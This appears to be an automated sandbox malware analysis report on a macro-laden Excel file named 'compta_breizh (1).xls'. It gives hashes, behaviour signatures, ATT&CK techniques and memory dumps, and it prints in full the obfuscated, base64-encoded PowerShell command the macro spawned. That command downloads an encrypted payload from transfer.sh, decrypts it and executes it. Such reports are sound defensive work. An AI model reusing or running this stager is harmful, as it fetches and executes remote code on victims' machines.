Analysis

  • max time kernel
    21s
  • max time network
    27s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    29-03-2023 14:39

General

  • Target

    compta_breizh (1).xls

  • Size

    580KB

  • MD5

    1149360d266ca100ff6a7ce2a8414d53

  • SHA1

    ff87dbe2730be9fb594a337e857b5f5c235e2005

  • SHA256

    27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a

  • SHA512

    e885178f839dfbc5e7fc4012bce4a5d646d4c287841a76bf19fbdb51cc688cb3c51a724ffdfab0269f628d5364a6a1680284b9bb3f63e049f44132168f2e76e9

  • SSDEEP

    6144:Ik3hbdlylKsgqopeJBWhZFVEUr3M/sItOd/AIIuY3/RsxRIA2e6FngrNv8zKCq/i:jY3ecALrquDK

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://transfer.sh/get

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\compta_breizh (1).xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:824
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1560

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/824-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/824-57-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-56-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-58-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-59-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-60-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-61-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-62-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-55-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-63-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-64-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-65-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-66-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-67-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-68-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-69-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-70-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-72-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-71-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-73-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-74-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-75-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-77-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-76-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-78-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-81-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-80-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-82-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-83-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-84-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-85-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-86-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-79-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-87-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-90-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-89-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-91-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-93-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-92-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-94-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-88-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-95-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/824-96-0x0000000000650000-0x0000000000750000-memory.dmp
    Filesize

    1024KB

  • memory/1560-99-0x00000000023A0000-0x00000000023E0000-memory.dmp
    Filesize

    256KB

  • memory/1560-100-0x00000000023A0000-0x00000000023E0000-memory.dmp
    Filesize

    256KB